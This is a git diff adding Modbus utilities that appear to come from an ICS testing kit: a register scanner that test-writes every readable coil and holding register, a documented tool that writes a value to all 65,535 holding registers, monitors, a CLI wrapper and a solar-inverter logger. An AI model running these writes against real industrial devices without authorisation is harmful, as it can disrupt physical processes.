+ client.close() + return write_coil_confirm_list,write_coil_confirm_data,coil_permission_list + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg, lower, upper, timeout): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=timeout) + for i in tqdm(range(lower,upper)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") +#Write the result to Excel File + client.close() + return valid_list,data_list,permission_list + + + +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=False, help='Port Number', default=502) +my_parser.add_argument('-r','--range', action='store', type=int,required=False, default=[1-500],dest='range',help='Define the range. Default is 1-500',nargs=2) +my_parser.add_argument('-t','--timeout', action='store', type=int,required=False, help='Timeout', default=10) +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil", args.range[0], args.range[1], args.timeout) #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold", args.range[0], args.range[1], args.timeout) #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete", args.range[0], args.range[1], args.timeout) #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input", args.range[0], args.range[1], args.timeout) +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/ModbusPal.jar b/modbus/misc/ModbusPal.jar new file mode 100755 index 0000000..5bf73e4 --- /dev/null +++ b/modbus/misc/ModbusPal.jar Binary files differ diff --git a/modbus/misc/README.md b/modbus/misc/README.md new file mode 100644 index 0000000..1384f9f --- /dev/null +++ b/modbus/misc/README.md @@ -0,0 +1,106 @@ +- `dump_odd.py`, dump all data that doesn't have the default value +- `live_monitor.rb`, Allows you to scan, at a regular time, all Modbus registries of a device. +- `mocli.py`, A Command Line Interface for pymodbus +- `read_all_holding_registers.py`, used to scan and get values from holding registers on a TCP Modbus Slave; +- `write_all_holding_registers.py`, used to write a specific value to one or multiple holding registers of a TCP Modbus Slave; +- `read_register.py`, used to get values from various types of addresses on a TCP Modbus Slave (Holding Register, Discrete Input, Input Register) +- `pymodmon.py`, monitor several modbus addresses with a configurable interval and can also write the received data to a csv file. +- `pymodmon_3.py`, updated version of above script for python 3 +- `register_scanner.py`, Script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file +- `modbuspal.jar`, PC-based Modbus simulator. Its goal is to reproduce a realistic environment, with many slaves and animated register values. + +## live_monitor.rb +``` +Usage : ruby live_monitor.rb IP_ADDRESS TIME_IN_SECONDS +``` + +## live_monitor.rb +``` +Usage : python register_scanner.py -i ip_addr +``` + +## read_all_holding_registers.py +``` +usage: read_all_holding_registers.py [-h] [-p PORT] [-u UID] [-sa START] + [-ea END] + ip + +Read all holding registries from a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the scanner. Defaults to 1 + -ea END, --end-address END + Ending Address for the scanner. Defaults to 65535 +``` + +## write_all_holding_registers.py +``` +usage: write_all_holding_registers.py [-h] [-p PORT] [-u UID] [-sa START] + [-ea END] [-v VALUE] + ip + +Write all holding registries on a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the writer. Defaults to 1 + -ea END, --end-address END + Ending Address for the writer. Defaults to 65535 + -v VALUE, --value VALUE + Value that will be written. Defaults to 7777 +``` + +## read_register.py +``` +usage: read_register.py [-h] [-p PORT] [-u UID] [-sa START] [-ea END] + [-t TYPE] + ip + +Read specific addresses on a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the scanner. Defaults to 1 + -ea END, --end-address END + Ending Address for the scanner. Defaults to 65535 + -t TYPE, --type TYPE Type of Modbus address to read. Values can be 'h' for + Holding, 'd' for Discrete Inputs or 'i' for Input + Registers. Defaults to 'h' + +``` + +# PyModMon +Python Modbus Monitor + +This is a Python skript that acts as a Modbus slave. +It can be used e.g. for reading data from newer solar inverters made by SMA. + +It has the ability to monitor several modbus addresses with a configurable interval and can also write the received data to a csv file. + +The logged data can then be used with other programs for analysing or plotting. + +Dependencies: +* Python 2.7 +* Python package docopt +* Python package pymodbus (and dependencies) + +pymodmon_3.py is the updated version for Python 3 (tested with Python 3.7). No additional functionality was added. diff --git a/modbus/misc/dump_odd.py b/modbus/misc/dump_odd.py new file mode 100644 index 0000000..176d630 --- /dev/null +++ b/modbus/misc/dump_odd.py @@ -0,0 +1,27 @@ +import sys +from pymodbus.client.sync import ModbusTcpClient +#from https://ctftime.org/writeup/31455 + +client = ModbusTcpClient(sys.argv[1]) + +for unit in range(32): + for address, register in enumerate(client.read_holding_registers(0, 99, unit=unit).registers): + if register != 0: + print(f"hr {unit} {address} {register}") + +for unit in range(32): + for address, register in enumerate(client.read_input_registers(0, 99, unit=unit).registers): + if register != 1: + print(f"ir {unit} {address} {register}") + +for unit in range(32): + for address_base in range(0, 2999, 256): + for address_index, coil in enumerate(client.read_coils(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): + if coil != False: + print(f"c {unit} {address_base + address_index} {coil}") + +for unit in range(32): + for address_base in range(0, 2999, 256): + for address_index, coil in enumerate(client.read_discrete_inputs(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): + if coil != True: + print(f"di {unit} {address_base + address_index} {coil}") diff --git a/modbus/misc/live_monitor.rb b/modbus/misc/live_monitor.rb new file mode 100644 index 0000000..8420ebc --- /dev/null +++ b/modbus/misc/live_monitor.rb @@ -0,0 +1,69 @@ +#!/usr/bin/env ruby + +require 'rmodbus' + +# Stuff to print text in colour +class String + def red; "\033[31m#{self}\033[0m" end + def green; "\033[32m#{self}\033[0m" end + def brown; "\033[33m#{self}\033[0m" end + def blue; "\033[34m#{self}\033[0m" end + def bg_gray; "\033[47m#{self}\033[0m" end +end + +@results = Array.new() +@target = ARGV[0] +delay = ARGV[1] + +# Send Modbus requests +def modbus_request(ip, port, start_address, stop_address) + cl = ModBus::TCPClient.new(ip, port) + slave = cl.with_slave(1) + unless start_address == 0 + start_address = start_address + 1 + end + test = slave.holding_registers[start_address..stop_address] + return test +end + +# grab all registers values until 65 500 ("à peu près") +def grab_all_registers + registers = Array.new() + for i in 0..654 + result = modbus_request(@target, 502, (i*100), ((i+1)*100)) + j = 0 + result.each do |yolo| + registers.push(yolo) + j = j + 1 + end + end + result = modbus_request(@target, 502, 65500, 65535) + j = 0 + result.each do |yolo| + registers.push(yolo) + j = j + 1 + end + + return registers +end + +trap("INT") { + puts ""; puts "[+] Live monitoring stopped".green; exit +} + +round = 0 +while(1) + puts '[+]'.green + ' Reading registers (#' + round.to_s + ')' + @results.push(grab_all_registers) + unless round == 0 + for b in 0..@results[0].length + if !(@results[0][b] == @results[1][b]) + puts "[!] Register ##{b} changed from #{@results[0][b]} to #{@results[1][b]} !!! ".red.bg_gray + end + end + @results.delete_at(0) + end + round = round + 1 + puts "[+] Waiting #{delay}s ..." + sleep(delay.to_i) +end diff --git a/modbus/misc/mocli.py b/modbus/misc/mocli.py new file mode 100644 index 0000000..36de113 --- /dev/null +++ b/modbus/misc/mocli.py @@ -0,0 +1,164 @@ +#!/usr/bin/env python + +import argparse +import functools + +''' +Command Line Wrapper around pymodbus + +Known Issues: + Writing Integer Values: if the first value in a --values input is a negative + value, the parser interprets it incorrectly as an option flag. This can be + avoided if the space is removed between the -v or --values flag and the + values that follow. +''' + + + +def stringBool(val): + uval = val.upper() + if uval in ['1','T','TRUE']: + return True + elif uval in ['0','F','FALSE']: + return False + else: + return None + +def arrayStringBools(valarr): + result = [stringBool(item) for item in valarr] + return result + +# String to Int works as expected except for when value is out of signed or +# unsigned Modbus Word (2 Bytes) range. In this case it will return None. If a +# negative number is provided, it is converted to the equivalent unsigned Word +# value silently. +def stringToInt(val): + intval = int(val) + if intval < -0xFFFF or intval > 0xFFFF: + return None + elif intval < 0: + return 0x10000 + intval + else: + return intval + + +def arrayStringInts(valarr): + return [stringToInt(item) for item in valarr] + +parser = argparse.ArgumentParser(prog='ReadHTcp') + +parser.add_argument('method', choices=['tcp','udp','rtu','serial'], default='tcp') +parser.add_argument('-a','--address',type=int) +parser.add_argument('-c','--count',type=int,default=1) +parser.add_argument('-v','--values',type=lambda s: [item for item in list(map(lambda t: t.strip(),s.split(',')))]) + +parser.add_argument('-i','--ip',default='127.0.0.1') +parser.add_argument('-p','--port',default=502,type=int) +parser.add_argument('-u','--unit',type=int,default='0') +# Arguments for Serial Clients +# timeout is in seconds +parser.add_argument('-t', '-timeout',type=int,default=3) +parser.add_argument('--stopbits',choices=[0,1,2],default=1) +parser.add_argument('--bytesize',choices=[5,6,7,8],default=8) +parser.add_argument('--parity',choices=['N','E','O']) +parser.add_argument('--baudrate',type=int,default=9600) + +# Datastore Arguments +parser.add_argument('--zeromode',action='store_true') + +parser.add_argument('-r','--repeat',type=int,default=1) +parser.add_argument('-f','--function',choices=['rcs','wcs','wc','rds','rhs','whs','wh','ris','rwh','mwh','read-coils','write-coils','write_coil','read-discretes','read-holdings','write-holdings','write-holding','read-inputs','read-write-registers','mask-write-register']) + +parser.add_argument('-d','--debug',action='store_true') + +kargs, uargs = parser.parse_known_args() + +duargs = {} + +for s in uargs: + key,val = s.split('=') + duargs[key]=val + +if kargs.debug: + print('dict',kargs.__dict__) + print('debug', kargs.debug) + print('Known: ', kargs) + print('Unknown: ',uargs) + print('Unknown Dict: ',duargs) + quit() + +client = None + +try: + if kargs.method == 'tcp': + from pymodbus.client.sync import ModbusTcpClient + + client = ModbusTcpClient(kargs.ip,port=kargs.port,unit_id=kargs.unit) + + elif kargs.method == 'rtu': + from pymodbus.client.sync import ModbusSeriaClient + + client = ModbusRtuClient(kargs.method, port=kargs.port, stopbits=kargs.stopbits,bytesize=kargs.bytesize,parity=kargs.parity,baudrate=kargs.baudrate,timeout=kargs.timeout) + + if client != None: + display_prefix = '' + function_result = None + write_result = None + for x in range(kargs.repeat): + if kargs.function in ['rcs','read-coils']: + read = client.read_coils(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.bits + display_prefix = 'Read Coils' + + elif kargs.function in ['rds','read-discretes']: + read = client.read_discrete_inputs(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.bits + display_prefix = 'Read Discretes' + + elif kargs.function in ['ris','read-inputs']: + read = client.read_input_registers(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.registers + display_prefix = 'Read Input Registers' + + elif kargs.function in ['rhs','read-holding']: + read = client.read_holding_registers(kargs.address,kargs.count,unit=kargs.unit) + function_result = read.registers + display_prefix = 'Read Holding' + + elif kargs.function in ['wc','write-coil']: + result = client.write_coil(kargs.address,stringBool(kargs.values[0]),unit=kargs.unit) + write_result = result + display_prefix = 'Write Coil' + + elif kargs.function in ['wcs','write-coils']: + coil_values = arrayStringBools(kargs.values) + result = client.write_coils(kargs.address,coil_values,unit=kargs.unit) + write_result = result + display_prefix = 'Write Coils' + + elif kargs.function in ['wh','write-holding']: + result = client.write_register(kargs.address,stringToInt(kargs.values[0]),unit=kargs.unit) + write_result = result + display_prefix = 'Write Holding Register' + + elif kargs.function in ['whs','write-holdings']: +# print('-------> Values: ' +str(arrayStringInts(kargs.values))) + result = client.write_registers(kargs.address,arrayStringInts(kargs.values),unit=kargs.unit) + write_result = result + display_prefix = 'Write Holding Registers' + + else: + print('Function "%s" is not yet implemented in this wrapper. Exiting' % kargs.function) + quit() + +# Display results + if function_result != None: + print(display_prefix + ' #%s' % x,functools.reduce(lambda x,y: str(x)+ ',' + str(y),function_result[:kargs.count])) + + if write_result != None: + print(display_prefix + ' #%s' % x, write_result) + +finally: + if client != None: + client.close() + diff --git a/modbus/misc/pymodmon.py b/modbus/misc/pymodmon.py new file mode 100644 index 0000000..9a5e464 --- /dev/null +++ b/modbus/misc/pymodmon.py @@ -0,0 +1,976 @@ +# coding=UTF-8 + +## @package pymodmon +# Python Modbus Monitor +# a small program that uses the pymodbus package to retrieve and +# display modbus slave data. +# requires: Python 2.7, pymodbus, docopt +# +# Date created: 2016-05-04 +# Author: André Schieleit + +## help message to display by docopt (and parsed by docopt for command line arguments) +'''Python Modbus Monitor. + +Usage: + pymodmon.py + pymodmon.py [-h|--help] + pymodmon.py [--version] + pymodmon.py -i |--inifile= [-l |--logfile=] [-L |--loginterval=] [-B |--logbuffer=] [-S|--single] [--nogui] [-D|--daily-log] + pymodmon.py --ip= --port= --id= --addr= --type= --format= [-L |--loginterval=] [-B |--logbuffer=] [--descr=<"descr">] [--unit=<"unit">] [-S|--single] [-l |--logfile=] + +Options: + no options given in a xterm will open the TK interface + -h, --help Show this screen + --version Show version + -i, --inifile= Uses the given file as input for communication and + log file settings and channel configuration + -l, --logfile= Uses the given file as output for the retrieved data. + The data will be formatted in csv. + Existing files will be appended. + --ip= Use this as the IP address of the communication target + --port= Port of the communication target + --id= Modbus ID of the communication target + --addr= Address of the modbus register to read + --type= Data type of the retrieved data at a given address. + Allowed types: U64, U32, U16, S32, S16, STR32 + --format= Format of the retrieved data. + Allowed formats: RAW, UTF8, FIX0, FIX1, FIX2, FIX3 + --descr= Description for the retrieved data. + e.g. --descr="device name" + --unit= Unit of the retrieved data. e.g. --unit="V" + -G, --nogui Explicitly run without gui even when available + -S, --single Do only one read cycle instead of continuous reading. + -L, --loginterval= Read data every xx seconds. [defaul value: 5] + -B, --logbuffer= Read xx datasets before writing to disk. + Useful to prevent wearout on solid state devices. + [default value: 50] + -D, --daily-log Writes a log file for each day. At 00:00:00 system + time a new log file will be started. A given log file + name will be appended with the current date with + "%Y-%m-%d" format. +''' + +## use docopt for command line parsing and displaying help message +try: + import docopt +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','docopt package was not found on your system.\nPlease install it using the command:\ + \n"pip install docopt"') + except: + print ('Import errror. docopt package was not found on your system. Please install it using the command: "pip install docopt"') +from docopt import docopt +if __name__ == '__main__': + arguments = docopt(__doc__, version='PyModMon 1.0') + +## use pymodbus for the Modbus communication +try: + from pymodbus import * +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','pymodbus package was not found on your system.\nPlease install it using the command:\ + \n"pip install pymodbus"') + except: + print ('Import errror. pymodbus package was not found on your system. Please install it using the command: "pip install pymodbus"') + +## enable execution of functions on program exit +import atexit + +## enable timed execution of the data polling +from threading import Timer + +## enable file access +import os + +## class for all data related things +# +class Data(object): + ## set default values and allowed input values + def __init__(self): + self.inifilename = None + self.logfilename = None + self.logmaxbuffer = 50 ## how many records will be buffered before writing to file + self.ipaddress = '10.0.0.42' ## address of the communication target + self.portno = 502 ## port number of the target + self.modbusid = 3 ## bus ID of the target + self.manufacturer = 'Default Manufacturer' ## arbitrary string for user conveniance + self.loginterval = 5 ## how often should data be pulled from target in seconds + self.moddatatype = { ## allowed data types, sent from target + 'S32':2, + 'U32':2, + 'U64':4, + 'STR32':16, + 'S16':1, + 'U16':1 + } + + self.dataformat = ['ENUM','UTF8','FIX3','FIX2','FIX1','FIX0','RAW'] ## data format from target + + ## table of data to be pulled from target + self.datasets = [['address','type','format','description','unit','value']] + + self.datavector = [] ## holds the polled data from target + self.databuffer = [] ## holds the datavectors before writing to disk + self.datawritebuffer = [] ## holds a copy of databuffer for actual writing to disk + +## class that contains all IO specifics +class Inout: + ## some values to check against when receiving data from target + # these values are read when there is not acutal value from the target available. + # they are the equivalent to None + MIN_SIGNED = -2147483648 + MAX_UNSIGNED = 4294967295 + + ## function for testing the per command line specified configuration file + def checkImportFile(self): + ## does the file exist? + try: + inifile = open(str(arguments['--inifile']),'r').close() + data.inifilename = str(arguments['--inifile']) + except: + ## if we have a GUI display an error dialog + try: + showerror('Import Error','The specified configuration file was not found.') + return + except: ## if no GUI display error and exit + print('Configuration file error. A file with that name seems not to exist, please check.') + exit() + try: + inout.readImportFile() + except: + try: + showerror('Import Error','Could not read the configuration file. Please check file path and/or file.') + return + except: + print 'Could not read configuration file. Please check file path and/or file.' + exit() + + ## function for acually reading input configuration file + def readImportFile(self): + ## read config data from file + import ConfigParser + Config = ConfigParser.SafeConfigParser() + ## read the config file + Config.read(data.inifilename) + data.ipaddress = Config.get('CommSettings','IP address') + data.portno = int(Config.get('CommSettings','port number')) + data.modbusid = int(Config.get('CommSettings','Modbus ID')) + data.manufacturer = Config.get('CommSettings','manufacturer') + data.loginterval = int(Config.get('CommSettings','logger interval')) + try: ## logfilename may be empty. if so data will printed to terminal + data.logfilename = Config.get('FileSettings','log file') + except: + data.logfilename = None + data.logmaxbuffer = int(Config.get('FileSettings','log buffer')) + data.datasets = eval(Config.get('TargetDataSettings','data table')) + + ## function for actually writing configuration data + # + def writeExportFile(self): + ## use ini file capabilities + import ConfigParser + Config = ConfigParser.ConfigParser() + + ## if the dialog was closed with no file selected ('cancel') just return + if (data.inifilename == None): + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','no file name given, please check.') + except: + print('Configuration file error, no file name given, please check.') + return + ## write the data to the selected config file + try: + inifile = open(data.inifilename,'w') + except: + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','a file with that name seems not to exist, please check.') + except: + print('Configuration file error, a file with that name seems not to exist, please check.') + gui.selectExportFile() + return + + ## format the file structure + Config.add_section('CommSettings') + Config.set('CommSettings','IP address',data.ipaddress) + Config.set('CommSettings','port number',data.portno) + Config.set('CommSettings','Modbus ID',data.modbusid) + Config.set('CommSettings','manufacturer',data.manufacturer) + Config.set('CommSettings','logger interval',data.loginterval) + Config.add_section('FileSettings') + Config.set('FileSettings','log file',data.logfilename) + Config.set('FileSettings','log buffer',data.logmaxbuffer) + Config.add_section('TargetDataSettings') + Config.set('TargetDataSettings','data table',data.datasets) + + Config.write(inifile) + inifile.close() + + ## function for writing to log file + # checks if it is an existing file with data in it and will append then + # this function should only be called in intervals writing data in bulk (e.g. every 5 minutes) + # to prevent wearout on solid state disks like SD CARDs + # + def writeLoggerDataFile(self): + import csv ## for writing in csv format + import datetime ## for daily log option + + if (data.logfilename == None): ## when no filename is given, print data to terminal + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to terminal + print (data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + print(data.databuffer) + if (len(data.databuffer) == 1): ## if only one address was provided via command line + print data.databuffer[0][0],data.datasets[1][3],data.databuffer[0][1],data.datasets[1][4] + data.databuffer = [] ## empty buffer + return + + thislogfile = data.logfilename ## store filename locally for daily option + thisdate = str(datetime.date.today()) + gui_checked_daily = 0 + + ## is GUI available or is command line mode active + if (gui_active): + gui_checked_daily = int(gui.checked_daily.get()) + + ## if daily option is active + if ( (arguments['--daily-log'] == True) or (gui_checked_daily) ): + ## assumption: the logfile has a file extension + logfileparts = thislogfile.rpartition('.') + + ## if there is no file extension we will append the current date to the name + if (logfileparts[0] == ''): + ## re-order logfileparts + thislogfile = logfileparts[2]+'_'+thisdate + else: + ## format the new logfilename with current date included + thislogfile = logfileparts[0]+'_'+thisdate+logfileparts[1]+logfileparts[2] + + ## try to open the file. if it does not exist, create it on the way + try: + open(thislogfile, 'a').close() + except: + try: ## if running in command line no window can be displayed + showerror('Log File Error','file cannot be accessed, please check.') + except: + print('Log file error. File cannot be accessed, please check.') + return + + ## check if the file is empty, if so write the header information to the file + if os.stat(thislogfile).st_size==0: + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile, quoting=csv.QUOTE_ALL) + ## ensure UTF8 encoding while writing + ## print out what data is contained and whats its format + for thisrow in data.datasets: + thisrow = [s.encode('utf-8') for s in thisrow] + logwriter.writerows([thisrow]) + + logfile.write('-'*50+'\n') ## write a separator + ## format the column headers + columnheader = 'time' + for thisrow in data.datasets[1:]: ## omit first row containing 'address' + ## ensure UTF8 encoding while writing, since this is the column heading + # no problem with converting to string even if stored as int + thisrow = [s.encode('utf-8') for s in thisrow] + ## use description field for columnheader if filled + if (thisrow[3] != ''): + thisdescription = ','+str(thisrow[3]) + ## if a unit is entered add it after the description + if (thisrow[4] != ''): + thisdescription += ' ('+str(thisrow[4])+')' + columnheader += thisdescription + else: ## no description, use address as header + columnheader += ', '+str(thisrow[0]) + + columnheader += '\n' ## line break before data rows + logfile.write(columnheader) + + ## if the file is not empty we assume an append write to the file + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to disk + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.databuffer) + data.databuffer = [] ## empty buffer + + ## function for starting communication with target + # + def runCommunication(self): + from pymodbus.client.sync import ModbusTcpClient as ModbusClient + + self.client = ModbusClient(host=data.ipaddress, port=data.portno) + try: + self.client.connect() + except: + showerror('Modbus Connection Error','could not connect to target. Check your settings, please.') + + self.pollTargetData() + + self.client.close() + ## lambda: is required to not spawn hundreds of threads but only one that calls itself + self.commtimer = Timer(data.loginterval, lambda: self.runCommunication()) + self.commtimer.start() ## needs to be a separate command else the timer is not cancel-able + + def stopCommunication(self): + #print ('Stopped Communication') + self.commtimer.cancel() + ## flush data buffer to disk + self.writeLoggerDataFile() + + ## function for polling data from the target and triggering writing to log file if set + # + def pollTargetData(self): + from pymodbus.payload import BinaryPayloadDecoder + from pymodbus.constants import Endian + import datetime + + data.datavector = [] ## empty datavector for current values + + ## request each register from datasets, omit first row which contains only column headers + for thisrow in data.datasets[1:]: + ## if the connection is somehow not possible (e.g. target not responding) + # show a error message instead of excepting and stopping + try: + received = self.client.read_input_registers(address = int(thisrow[0]), + count = data.moddatatype[thisrow[1]], + unit = data.modbusid) + except: + thisdate = str(datetime.datetime.now()).partition('.')[0] + thiserrormessage = thisdate + ': Connection not possible. Check settings or connection.' + if (gui_active): + showerror('Connection Error',thiserrormessage) + return ## prevent further execution of this function + else: + print thiserrormessage + return ## prevent further execution of this function + + message = BinaryPayloadDecoder.fromRegisters(received.registers, byteorder=Endian.Big, wordorder=Endian.Big) + ## provide the correct result depending on the defined datatype + if thisrow[1] == 'S32': + interpreted = message.decode_32bit_int() + elif thisrow[1] == 'U32': + interpreted = message.decode_32bit_uint() + elif thisrow[1] == 'U64': + interpreted = message.decode_64bit_uint() + elif thisrow[1] == 'STR32': + interpreted = message.decode_string(32) + elif thisrow[1] == 'S16': + interpreted = message.decode_16bit_int() + elif thisrow[1] == 'U16': + interpreted = message.decode_16bit_uint() + else: ## if no data type is defined do raw interpretation of the delivered data + interpreted = message.decode_16bit_uint() + + ## check for "None" data before doing anything else + if ((interpreted == self.MIN_SIGNED) or (interpreted == self.MAX_UNSIGNED)): + displaydata = None + else: + ## put the data with correct formatting into the data table + if thisrow[2] == 'FIX3': + displaydata = float(interpreted) / 1000 + elif thisrow[2] == 'FIX2': + displaydata = float(interpreted) / 100 + elif thisrow[2] == 'FIX1': + displaydata = float(interpreted) / 10 + else: + displaydata = interpreted + + ## save _scaled_ data in datavector for further handling + data.datavector.append(displaydata) + + ## display collected data + if (gui_active == 1): + gui.updateLoggerDisplay() + + ## for logging purposes we need a time stamp first + stampedvector = [] + ## we don't need the microseconds of the date return value, so we strip it + stampedvector.append(str(datetime.datetime.now()).partition('.')[0]) + stampedvector += data.datavector + data.databuffer.append(stampedvector) + #print data.databuffer + ## is the buffer large enough to be written to file system? + if (len(data.databuffer) >= data.logmaxbuffer): + ## ensure that the data to write will not be altered by faster poll cycles + data.datawritebuffer = data.databuffer + data.databuffer = [] ## empty the buffer + self.writeLoggerDataFile() ## call write routine to save data on disk + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addDataset(self,inputdata): + data.datasets.append(inputdata) + print 'Current datasets: ',(data.datasets) + + ## function for saving program state at program exit + # + def cleanOnExit(self): + try: ## stop data logging on exit, catch a possible exception, when communication is not running + self.stopCommunication() + except: + print '' + + ## if data is available, write polled data from buffer to disk + if len(data.databuffer): + self.writeLoggerDataFile() + print 'PyModMon has exited cleanly.' + + ## function for printing the current configuration settings + # only used for debug purpose + # + def printConfig(self): + counter = 0 + for data in data.datasets: + print('Datasets in List:', counter, data) + counter += 1 + +## class that contains all GUI specifics +# +class Gui: + def __init__(self,master): + + ## configure app window + master.title('Python Modbus Monitor') + master.minsize(width=550, height=450) + master.geometry("550x550") ## scale window a bit bigger for more data lines + self.settingscanvas = Canvas(master,bg="yellow",highlightthickness=0) + self.settingscanvas.pack(side='top',anchor='nw',expand=False,fill='x') + + ## make the contents of settingscanvas fit the window width + Grid.columnconfigure(self.settingscanvas,0,weight = 1) + + ## create window containers + + ## frame for the config file and data logger file display + filesframe = Frame(self.settingscanvas,bd=1,relief='groove') + filesframe.columnconfigure(1,weight=1) ## set 2nd column to be auto-stretched when window is resized + filesframe.grid(sticky = 'EW') + + ## frame for the settings of the communication parameters + self.settingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.settingsframe.grid(sticky = 'EW') + + ## frame for the controls for starting and stopping configuration + controlframe = Frame(self.settingscanvas,bd=1,relief='groove') + controlframe.grid(sticky = 'EW') + + ## create Menu + menubar = Menu(master) + filemenu = Menu(menubar, tearoff=0) + filemenu.add_command(label='Import Configuration File…',command=self.selectImportFile) + filemenu.add_command(label='Export Configuration File…',command=self.selectExportFile) + filemenu.add_command(label='Set Logger Data File…',command=self.selectLoggerDataFile) + filemenu.add_command(label='Save Current Configuration',command=inout.writeExportFile) + filemenu.add_command(label='Exit',command=self.closeWindow) + + toolmenu = Menu(menubar, tearoff=0) + toolmenu.add_command(label='Data Settings…',command=self.dataSettings) + toolmenu.add_command(label='Print Config Data',command=inout.printConfig) + + helpmenu = Menu(menubar, tearoff=0) + helpmenu.add_command(label='About…',command=self.aboutDialog) + + menubar.add_cascade(label='File', menu=filemenu) + menubar.add_cascade(label='Tools', menu=toolmenu) + menubar.add_cascade(label='Help', menu=helpmenu) + master.config(menu=menubar) + + ## add GUI elements + + ## input mask for configuration file + # + Label(filesframe, text='Configuration File:').grid(row=0,sticky='E') + + self.input_inifilename = Entry(filesframe, width = 40) + self.input_inifilename.bind('',self.getInputFile) ## enable file name to be set by [Enter] or [Return] + self.input_inifilename.grid(row=0,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectImportFile)).grid(row=0,column=2,sticky='W') ## opens dialog to choose file from + + ## input mask for data logger file + # + Label(filesframe, text='Data Logger File:').grid(row=1,sticky='E') + + self.input_logfilename = Entry(filesframe, width = 40) + 